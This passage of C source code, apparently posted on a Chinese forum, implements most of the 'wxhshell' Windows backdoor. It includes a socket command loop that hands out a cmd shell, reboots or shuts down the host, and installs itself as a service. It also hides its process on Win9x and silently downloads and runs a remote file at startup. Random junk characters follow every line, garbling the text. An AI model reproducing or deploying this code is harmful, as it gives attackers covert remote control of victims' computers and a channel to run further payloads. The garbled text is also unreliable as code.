  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VAf~,T]Ww  
  } +F ~;Q$T  
  else { -}k'a{sj=  
Ee>P*7*jB  
    switch(cmd[0]) { h+|3\>/@9{  
  9&5\L  
  // 帮助 TEOV>Tt  
  case '?': { We3*WsX\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QLo^6S5!  
    break; l|-1H76  
  } ITh1|yP  
  // 安装 j[YzBXd V  
  case 'i': { V#!ihL/>  
    if(Install()) MrjET!`.jC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zmy94Y5PE  
    else &NV[)6!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /_E:sI9(  
    break; .EVy?-   
    } d -6[\S#  
  // 卸载 WMBntB   
  case 'r': { m` cw:  
    if(Uninstall()) 9Qp39(l:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DR/qe0D  
    else (5{|']G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }[Uh4k8P  
    break; qVC_K/w 7  
    } ,.tT9? m  
  // 显示 wxhshell 所在路径 m}0US;c#f  
  case 'p': { ~6@zXHAS  
    char svExeFile[MAX_PATH]; ~\/>b}^uf'  
    strcpy(svExeFile,"\n\r"); &oiX/UaY  
      strcat(svExeFile,ExeFile); rq9{m(  
        send(wsh,svExeFile,strlen(svExeFile),0); vJ>A >R CB  
    break; noe1*2*TE  
    } 8YraW|H  
  // 重启 #/@U|g  
  case 'b': { B?-RzWB\3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \(.&E`r  
    if(Boot(REBOOT)) FQB)rxP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( gO?-0  
    else { pOD|  
    closesocket(wsh); ?AP2Opsl  
    ExitThread(0); _3tHzDSG#  
    } 7CUu:6%  
    break; y#HD1SZ  
    } 0m)["g4  
  // 关机 WM: ~P$%cx  
  case 'd': { .=rv,PWjZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3/:O8H  
    if(Boot(SHUTDOWN)) +%X_+9bd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<hbV0$%  
    else { "$+naY{w  
    closesocket(wsh); t*<vc]D  
    ExitThread(0); jd l1Q<Z  
    } :7Rs$ -*Uk  
    break; NmST1pMk  
    } *x`z5_yfO  
  // 获取shell < .$<d  
  case 's': { v6oPAqj,r  
    CmdShell(wsh); I"Ji_4QV  
    closesocket(wsh); cZ|D!1%  
    ExitThread(0); 3k;U#H  
    break; jp8=>mk  
  } >tr?5iKxc  
  // 退出 2F!K }aw  
  case 'x': { oF.Fg<p (  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #i ?@S$  
    CloseIt(wsh); p$f#W  
    break; =G}_PRn  
    } Qat%<;P2  
  // 离开 H; TmG<S  
  case 'q': { *IGxa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qu!\Cx@  
    closesocket(wsh); ;07!^#:L=Q  
    WSACleanup(); M42Zpb].  
    exit(1); KblOP{I  
    break; tyP-J4J  
        } .~v~~VL1NS  
  } >]:R{1h  
  } /T#<g:   
6i.'S5.  
  // 提示信息 C$*`c6R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]~?k%Mpw  
} &@dMk4BH<  
  } n/$BdFH  
G8u8&|  
  return; 3 %DA{  
} $k'f)E  
&=HM}h  
// shell模块句柄 >=U $s@  
int CmdShell(SOCKET sock) QMtt:f]?i  
{ q{U -kuui  
STARTUPINFO si; ~%#?;hJ  
ZeroMemory(&si,sizeof(si)); #H!~:Xu   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S<Q1 &],  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K"}Dbr  
PROCESS_INFORMATION ProcessInfo; ^iV@NVP  
char cmdline[]="cmd"; jb7=1OPD_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,1~Zqprn  
  return 0; bzJKoxU  
} 4aV3x&6X  
7PQedZ<\  
// 自身启动模式 d\)v62P  
int StartFromService(void) ]ei] ) JI  
{ etTuukq_Z  
typedef struct 1c}'o*K_%  
{ nn=JM7e\9  
  DWORD ExitStatus; 1Rczf(,aT  
  DWORD PebBaseAddress; =x7ODBYW^  
  DWORD AffinityMask; Ev^Xs6 }"  
  DWORD BasePriority; ^k_!+8"q{  
  ULONG UniqueProcessId; s &.Z;X  
  ULONG InheritedFromUniqueProcessId; {#[a4@B0  
}   PROCESS_BASIC_INFORMATION; "Q/3]hc.  
=pk'a_P 8-  
PROCNTQSIP NtQueryInformationProcess; CC)9Ks\  
y.O? c &!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r p @=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i44:VR|  
\6lXsu;I.X  
  HANDLE             hProcess; x _2]G'  
  PROCESS_BASIC_INFORMATION pbi; ze 4/XR  
?BLOc;I&a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 26Yg?:kP  
  if(NULL == hInst ) return 0; >)N#n`  
}2\"(_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >|iy= Zn%'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <=zGaU,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #zy%B  
0)P18n"$  
  if (!NtQueryInformationProcess) return 0; C$tSsw?A  
':>B %k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hCDI;'ls  
  if(!hProcess) return 0; YLCwo]\+>  
a6]!4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sW]n~kTt'  
N!m%~},s//  
  CloseHandle(hProcess); V`H#|8\i  
{$EXI]f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I}q-J~s  
if(hProcess==NULL) return 0; #E ~FF@a  
=.o-R=:d  
HMODULE hMod; )a}5\V  
char procName[255]; JJ+<?CeHD  
unsigned long cbNeeded; [-CG&l2?L  
-0]aOT--  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NRl"!FSD;"  
zJsoenU  
  CloseHandle(hProcess); r zvX~B6  
2Z97Tq  
if(strstr(procName,"services")) return 1; // 以服务启动 $?s^HKF~  
s{IoL_PJP  
  return 0; // 注册表启动 aQG#bh [  
} srSTQ\l4  
T9$U./69-L  
// 主模块 GmHsO/  
int StartWxhshell(LPSTR lpCmdLine) 4ku/3/ 6  
{ ex=~l O  
  SOCKET wsl; =aekY;/  
BOOL val=TRUE; [_0g^(`  
  int port=0; j~{2fd<>  
  struct sockaddr_in door; i f"v4PHq  
a2 SQ:d  
  if(wscfg.ws_autoins) Install(); Stc\P]%d  
- VE#:&  
port=atoi(lpCmdLine); MCCZh{uo  
G !~BA*  
if(port<=0) port=wscfg.ws_port; 9=o b:  
g\l;>  
  WSADATA data; R#`itIYh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "a g_   
' EDi6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U<t-LF3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5_`}$"<~  
  door.sin_family = AF_INET; em]K7B=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K$ &wO.  
  door.sin_port = htons(port); gP<_DEd^`  
,YY#ed&l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -hzza1DP  
closesocket(wsl); 4 * OU  
return 1; Gw./qu-W  
} \1!k)PZdTW  
+doT^&2u*  
  if(listen(wsl,2) == INVALID_SOCKET) { \PFx# :-c  
closesocket(wsl); |W <:rT  
return 1; /Ow?nWSt  
} KRtu@;?  
  Wxhshell(wsl); 93J)9T  
  WSACleanup(); ypd?mw&1}  
4yA`);r62  
return 0; 6+5Catsn  
Z]Y4NO;  
} ]Rye AJ3  
AAW7@\q.  
// 以NT服务方式启动 6:,^CI|@ t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j+9 S  
{ R]Oy4U,f  
DWORD   status = 0; W'jXIO  
  DWORD   specificError = 0xfffffff; @NIypi$T  
uI2'jEjO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f*],j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7j:{rCp3J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gp HwiFc  
  serviceStatus.dwWin32ExitCode     = 0; 9qDGxW '1  
  serviceStatus.dwServiceSpecificExitCode = 0; Dkb&/k:)  
  serviceStatus.dwCheckPoint       = 0; bw\=F_>L  
  serviceStatus.dwWaitHint       = 0; RV` j>1  
=M 5M;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P1wRt5  
  if (hServiceStatusHandle==0) return; H1nQ.P]_  
vR$5ItnT  
status = GetLastError(); &w0=/G/T=~  
  if (status!=NO_ERROR) ak>NKK8P  
{ 1 =<|h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b..$5  
    serviceStatus.dwCheckPoint       = 0; Z-|C{1}A  
    serviceStatus.dwWaitHint       = 0; \DqxS=o;  
    serviceStatus.dwWin32ExitCode     = status; vI'>$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~-`02  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CK(ev*@\D,  
    return; ? 6d4T  
  } V+24-QWh  
=LxmzQO#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }NCvaO  
  serviceStatus.dwCheckPoint       = 0; W~3tQ!  
  serviceStatus.dwWaitHint       = 0; K]8wW;N4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l*Ei7 |Z  
} BA-nxR  
14!J\`rI  
// 处理NT服务事件,比如:启动、停止 )F9r?5}v4x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %, et$1`g  
{ 3+3m`%G  
switch(fdwControl) Ra5'x)m36)  
{ ~ fEs!hl  
case SERVICE_CONTROL_STOP: s RQh~5kM  
  serviceStatus.dwWin32ExitCode = 0; fR4l4 GU?)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M7R&J'SAY  
  serviceStatus.dwCheckPoint   = 0; t3$gwO$  
  serviceStatus.dwWaitHint     = 0; |nN/x<v  
  { io7U[#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C-u/{CP  
  } Ok&>[qu  
  return; HY;?z `=  
case SERVICE_CONTROL_PAUSE: ':D&c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1:zu$|%7  
  break; g@i>R>  
case SERVICE_CONTROL_CONTINUE: 4D$sFR|?t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pki4wDCTW  
  break; "GI&S%F  
case SERVICE_CONTROL_INTERROGATE: Ok~{@\  
  break; `?^w  
}; &hN&nH"PC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tki/ d\!+  
} ~88 Tz+  
%8CT -mQ  
// 标准应用程序主函数 ,'CWt]OS'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7&V^BW  
{ |.O!zRm  
h#>L:Wf5E  
// 获取操作系统版本 i i@1!o  
OsIsNt=GetOsVer(); arS'th:j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *}ee"eHs  
z-G7Y#  
  // 从命令行安装 4c[)}8\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6BU0hV  
mqk(UOK`  
  // 下载执行文件 ' P`p.5nH  
if(wscfg.ws_downexe) { KV}U{s+U8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WG/J4H`Od  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5A$az03y$\  
} $;uWj|  
.xkV#ol  
if(!OsIsNt) { KHecc/,,S  
// 如果时win9x,隐藏进程并且设置为注册表启动 #oJbrh9J6  
HideProc(); yF5  
StartWxhshell(lpCmdLine); ht3T{4qCS  
} _:X|R#d  
else * \o$-6<  
  if(StartFromService()) N~; khS]  
  // 以服务方式启动 )^f9[5ee  
  StartServiceCtrlDispatcher(DispatchTable); %}MA5 t]o  
else ;%7XU~<a  
  // 普通方式启动 `3y!XET  
  StartWxhshell(lpCmdLine); L\Fu']l  
>9<8G]vcH  
return 0; O%K?l}e  
}
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只看该作者 1 发表于: 2006-10-10
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